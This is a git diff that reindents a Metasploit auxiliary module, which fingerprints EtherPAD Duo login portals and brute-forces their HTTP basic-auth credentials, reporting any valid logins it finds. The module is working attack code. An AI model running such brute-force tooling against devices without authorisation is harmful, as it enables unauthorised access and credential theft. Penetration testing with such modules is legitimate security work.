diff --git a/modules/auxiliary/scanner/http/etherpadduo_login.rb b/modules/auxiliary/scanner/http/etherpadduo_login.rb
index 27bf9631c3..42d9bcc6cb 100644
--- a/modules/auxiliary/scanner/http/etherpadduo_login.rb
+++ b/modules/auxiliary/scanner/http/etherpadduo_login.rb
@@ -7,85 +7,84 @@ require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
 
-  include Msf::Exploit::Remote::HttpClient
-  include Msf::Auxiliary::Report
-  include Msf::Auxiliary::AuthBrute
-  include Msf::Auxiliary::Scanner
+include Msf::Exploit::Remote::HttpClient
+include Msf::Auxiliary::Report
+include Msf::Auxiliary::AuthBrute
+include Msf::Auxiliary::Scanner
 
-    def initialize(info={})
-      super(update_info(info,
-        'Name'           => 'EtherPAD Duo Login Brute Force Utility',
-        'Description'    => %{
+def initialize(info={})
+  super(update_info(info,
+  'Name'           => 'EtherPAD Duo Login Brute Force Utility',
+  'Description'    => %{
     This module scans for EtherPAD Duo login portal, and
     performs a login brute force attack to identify valid credentials.
-        },
-        'Author'         =>
+    },
+  'Author'         =>
     [
       'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
     ],
-        'License'        => MSF_LICENSE
+  'License'        => MSF_LICENSE
+  ))
 
-    ))
+end
 
+def run_host(ip)
+  unless is_app_epaduo?
+    return
+  end
+
+  print_status("#{peer} - Starting login brute force...")
+  each_user_pass do |user, pass|
+    do_login(user, pass)
+  end
+end
+
+#
+# What's the point of running this module if the target actually isn't EtherPAD Duo
+#
+
+def is_app_epaduo?
+  begin
+    res = send_request_cgi(
+    {
+      'uri'       => '/CGI/mParseCGI?file=mainpage.html',
+      'method'    => 'GET'
+    })
+  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+    vprint_error("#{peer} - HTTP Connection Failed...")
+    return false
+  end
+
+  if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
+    vprint_good("#{peer} - Running EtherPAD Duo application ...")
+    return true
+  else
+    vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
+    return false
     end
+  end
 
-    def run_host(ip)
-      unless is_app_epaduo?
-        return
-      end
+#
+# Brute-force the login page
+#
 
-      print_status("#{peer} - Starting login brute force...")
-      each_user_pass do |user, pass|
-        do_login(user, pass)
-      end
-    end
-
-    #
-    # What's the point of running this module if the target actually isn't EtherPAD Duo
-    #
-
-    def is_app_epaduo?
-      begin
-        res = send_request_cgi(
-        {
-    'uri'       => '/CGI/mParseCGI?file=mainpage.html',
-    'method'    => 'GET'
-        })
-      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
-        vprint_error("#{peer} - HTTP Connection Failed...")
-        return false
-      end
-
-      if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo"))
-        vprint_good("#{peer} - Running EtherPAD Duo application ...")
-        return true
-      else
-        vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.")
-        return false
-      end
-    end
-
-    #
-    # Brute-force the login page
-    #
-
-    def do_login(user, pass)
-      vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
-      begin
-        res = send_request_cgi(
-        {
-    'uri'       => '/config/configindex.ehtml',
-    'method'    => 'GET',
+def do_login(user, pass)
+  vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+  begin
+    res = send_request_cgi(
+    {
+      'uri'       => '/config/configindex.ehtml',
+      'method'    => 'GET',
       'authorization' => basic_auth(user,pass)
-        })
-      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
-        vprint_error("#{peer} - HTTP Connection Failed...")
-        return :abort
-      end
+    })
+  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+    vprint_error("#{peer} - HTTP Connection Failed...")
+    return :abort
+  end
 
-      if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("EtherPAD"))
-        print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
-        report_hash = {
+  if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("EtherPAD"))
+    print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+    report_hash = {
     :host   => rhost,
     :port   => rport,
     :sname  => 'EtherPAD Duo Portal',
@@ -93,12 +92,11 @@ class Metasploit3 < Msf::Auxiliary
     :pass   => pass,
     :active => true,
     :type => 'password'
-        }
-        report_auth_info(report_hash)
-        return :next_user
-      else
-        vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
-      end
-
-    end
+  }
+    report_auth_info(report_hash)
+    return :next_user
+  else
+    vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
   end
+end
+end